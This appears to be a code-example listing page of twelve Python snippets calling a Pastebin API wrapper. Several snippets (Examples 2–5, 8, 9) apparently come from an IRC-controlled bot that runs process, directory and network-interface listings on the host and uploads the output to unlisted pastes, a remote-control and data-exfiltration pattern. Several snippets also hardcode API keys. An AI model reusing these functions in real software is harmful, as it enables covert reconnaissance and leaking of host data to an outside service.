Example #1
1
 def upload_to_pastebin(self,text):
     api_dev_key =  '2a3df06fe524ed88d15b660ccdca21dc'
     api_paste_code = text
     paste_name = 'OpenHack2012'        
     pastebinObj = PastebinAPI()
     api_user_key = pastebinObj.generate_user_key(api_dev_key, "openhack2012", "yahoo")
     ret = pastebinObj.paste(api_dev_key, api_paste_code, api_user_key = api_user_key, paste_name = paste_name,
                             paste_format = None, paste_private = None,
                             paste_expire_date = None)        
     print ret,ret[20:]        
     return ret[20:]
Example #2
0
def pslist():  # Function to list process names and pids
    x = PastebinAPI()
    if (str(platform.platform()))[0:3] == "Win":
        # TODO: make this pretty
        p = subprocess.Popen('tasklist', shell=False, stdout=subprocess.PIPE)
        p.wait()
        paste_code = p.stdout.read()
        url = x.paste(pastebin_api_key,
                      paste_code,
                      paste_name='tasklist',
                      paste_private='unlisted',
                      paste_expire_date='10M')
        sendmsg(channel, url)
    else:
        p = subprocess.Popen(['ps', 'aux'],
                             shell=False,
                             stdout=subprocess.PIPE)
        p.wait()
        paste_code = p.stdout.read()
        url = x.paste(pastebin_api_key,
                      paste_code,
                      paste_name='ps aux',
                      paste_private='unlisted',
                      paste_expire_date='10M')
        sendmsg(channel, url)
Example #3
0
def ls(dir): # Directory listing
  if (str(platform.platform()))[0:3]=="Win":
    p = subprocess.Popen(['dir',dir], shell=False, stdout=subprocess.PIPE)
    p.wait()
    paste_code = p.stdout.read()
    x = PastebinAPI()
    url = x.paste(pastebin_api_key,
                  paste_code,
                  paste_name = 'ls -lahF', 
                  paste_private = 'unlisted',
                  paste_expire_date = '10M')

    sendmsg(channel, url)
  else:
    x = PastebinAPI()
    p = subprocess.Popen(['ls', dir, '-lahF'], shell=False, stdout=subprocess.PIPE)
    p.wait()
    paste_code = p.stdout.read()
    if paste_code == '':
       sendmsg(channel, 'No such file or directory')
    else:
      url = x.paste(pastebin_api_key,
                       paste_code,
                       paste_name = 'ls -lahF', 
                       paste_private = 'unlisted',
                       paste_expire_date = '10M')
      sendmsg(channel, url)
Example #4
0
def ls(dir):  # Directory listing
    if (str(platform.platform()))[0:3] == "Win":
        p = subprocess.Popen(['dir', dir], shell=False, stdout=subprocess.PIPE)
        p.wait()
        paste_code = p.stdout.read()
        x = PastebinAPI()
        url = x.paste(pastebin_api_key,
                      paste_code,
                      paste_name='ls -lahF',
                      paste_private='unlisted',
                      paste_expire_date='10M')

        sendmsg(channel, url)
    else:
        x = PastebinAPI()
        p = subprocess.Popen(['ls', dir, '-lahF'],
                             shell=False,
                             stdout=subprocess.PIPE)
        p.wait()
        paste_code = p.stdout.read()
        if paste_code == '':
            sendmsg(channel, 'No such file or directory')
        else:
            url = x.paste(pastebin_api_key,
                          paste_code,
                          paste_name='ls -lahF',
                          paste_private='unlisted',
                          paste_expire_date='10M')
            sendmsg(channel, url)
Example #5
0
def ifconfig():  # Displays network interfaces
    if (str(platform.platform()))[0:3] == "Win":
        p = subprocess.Popen('ipconfig /all',
                             shell=False,
                             stdout=subprocess.PIPE)
        p.wait()
        paste_code = p.stdout.read()
        x = PastebinAPI()
        url = x.paste(pastebin_api_key,
                      paste_code,
                      paste_name='ipconfig',
                      paste_private='unlisted',
                      paste_expire_date='10M')
        sendmsg(channel, url)
    else:
        p = subprocess.Popen('ifconfig', shell=False, stdout=subprocess.PIPE)
        p.wait()
        paste_code = p.stdout.read()
        x = PastebinAPI()
        url = x.paste(pastebin_api_key,
                      paste_code,
                      paste_name='ifconfig',
                      paste_private='unlisted',
                      paste_expire_date='10M')

        sendmsg(channel, url)
Example #6
0
def plugin(srv, item):
    """ Pushlish the message to pastebin.com """

    srv.logging.debug("*** MODULE=%s: service=%s, target=%s", __file__,
        item.service, item.target)

    pastebin_data = item.addrs

    pastebinapi = PastebinAPI()
    api_dev_key = pastebin_data[0]
    username = pastebin_data[1]
    password = pastebin_data[2]
    pastename = 'mqttwarn'
    pasteprivate = pastebin_data[3]
    expiredate = pastebin_data[4]

    text = item.message

    try:
        api_user_key = pastebinapi.generate_user_key(
            api_dev_key,
            username,
            password)
    except Exception as e:
        srv.logging.warn("Cannot retrieve session data from pastebin: %s" % e)
        return False

    try:
        srv.logging.debug("Adding entry to pastebin.com as user %s..." % (username))
        pastebinapi.paste(
            api_dev_key,
            text,
            api_user_key = api_user_key,
            paste_name = pastename,
            paste_format = None,
            paste_private = pasteprivate,
            paste_expire_date = expiredate
            )
        srv.logging.debug("Successfully added paste to pastebin")
    except Exception as e:
        srv.logging.warn("Cannot publish to pastebin: %s" % e)
        return False

    return True
Example #7
0
def pushtopastebin():
	api_dev_key = ' '
	password = '******'
	username = '******'
	api_results_limit = 25
	api_user_key = ' '
	x = PastebinAPI()
	details = x.user_details(' ',
							' ')


	now = datetime.datetime.now()
	time = now.strftime("%d_%m_%y-%H")
	filename = time+'.txt'
	try:
		with open(filename,"a") as file:
			content = file.read()
 		x.paste(api_dev_key, content, api_user_key = api_user_key, paste_name = filename,
 					   paste_format = None, paste_private = 'private',
 					   paste_expire_date = 'N')
 	except Exception as e:
 		print e
Example #8
0
def pslist(): # Function to list process names and pids
  x = PastebinAPI()
  if (str(platform.platform()))[0:3]=="Win":
    # TODO: make this pretty
    p = subprocess.Popen('tasklist', shell=False, stdout=subprocess.PIPE)
    p.wait()
    paste_code = p.stdout.read()
    url = x.paste(pastebin_api_key,
                  paste_code,
                  paste_name = 'tasklist', 
                  paste_private = 'unlisted',
                  paste_expire_date = '10M')
    sendmsg(channel, url)
  else:
    p = subprocess.Popen(['ps', 'aux'], shell=False, stdout=subprocess.PIPE)
    p.wait()
    paste_code = p.stdout.read()
    url = x.paste(pastebin_api_key,
                  paste_code,
                  paste_name = 'ps aux', 
                  paste_private = 'unlisted',
                  paste_expire_date = '10M')
    sendmsg(channel, url)
Example #9
0
def ifconfig(): # Displays network interfaces
  if (str(platform.platform()))[0:3]=="Win":
    p = subprocess.Popen('ipconfig /all', shell=False, stdout=subprocess.PIPE)
    p.wait()
    paste_code = p.stdout.read()
    x = PastebinAPI()
    url = x.paste(pastebin_api_key,
                  paste_code,
                  paste_name = 'ipconfig', 
                  paste_private = 'unlisted',
                  paste_expire_date = '10M')
    sendmsg(channel, url)
  else:
    p = subprocess.Popen('ifconfig', shell=False, stdout=subprocess.PIPE)
    p.wait()
    paste_code = p.stdout.read()
    x = PastebinAPI()
    url = x.paste(pastebin_api_key,
                  paste_code,
                  paste_name = 'ifconfig', 
                  paste_private = 'unlisted',
                  paste_expire_date = '10M')

    sendmsg(channel, url)
Example #10
0
from pastebin import PastebinAPI
x = PastebinAPI()
api_dev_key = "2f91bd58d372bd03629b0658be4c43be"
api_user_key = "4dd674c5b30fa17bf04b46cd6852e34e"
username = "******"
password = "******"

foo = open("cube.txt", 'r')
textout = foo.read()
foo.close()
url = x.paste(api_dev_key,textout,"hypercube",api_user_key,"text",'unlisted','N')
print url

Example #11
0
else:
    logging.info('No log lines appended to paste string.')
    paste_string = ip_str + '\n\nNo new log info.'

# Create pastebin object
pb = PastebinAPI()
logging.info('Created PastebinAPI object.')

# Paste it
logging.info('Trying to upload to pastebin with name `' + paste_name +
             '` and message `' + ip_str + '` plus ' + str(num_new_log_lines) +
             ' motion log lines.')
pburl = ''
paste_successful = False
try:
    pburl = pb.paste(dev_key, paste_string, my_key, paste_name, None,
                     'unlisted', '1D')
    logging.info('Successful pastebin url: ' + pburl)
    paste_successful = True
except PastebinError as e:
    logging.info(
        'Got a pastebin error, checking if it is an http vs https issue.')
    if e.message.startswith('https://pastebin.com/'):
        pburl = e.message
        logging.info(
            'Message starts with `https://pastebin.com/` so it is assumed to not be an actual error. Url: '
            + pburl)
        paste_successful = True
    else:
        logging.warning('Got a real pastebin error: ' + str(e))
except:
    e = sys.exc_info()[0]
Example #12
0
import glob
import os
from pastebin import PastebinAPI

bin = PastebinAPI()

dir = ''
while not os.path.isdir(dir):
    dir = raw_input('[*] Enter code directory: ').replace('\\', '/')
dir += '/' if not dir.endswith('/') else ''
ext = raw_input('[*] Enter extension: ')
try:
    files = glob.glob(dir + '*.' + ext)
    for i in files:
        i = i.replace('\\', '/')
        name = i[i.rindex('/')+1:]
        data = ''
        with open(i, 'r') as file:
            data = file.read()
        url = bin.paste('6b31645087fd32346cc80168bce91e33',
                        data,
                        paste_name=name,
                        api_user_key='',
                        paste_format='python',
                        paste_private='unlisted',
                        paste_expire_date='N')
        print url
except:
    pass

raw_input()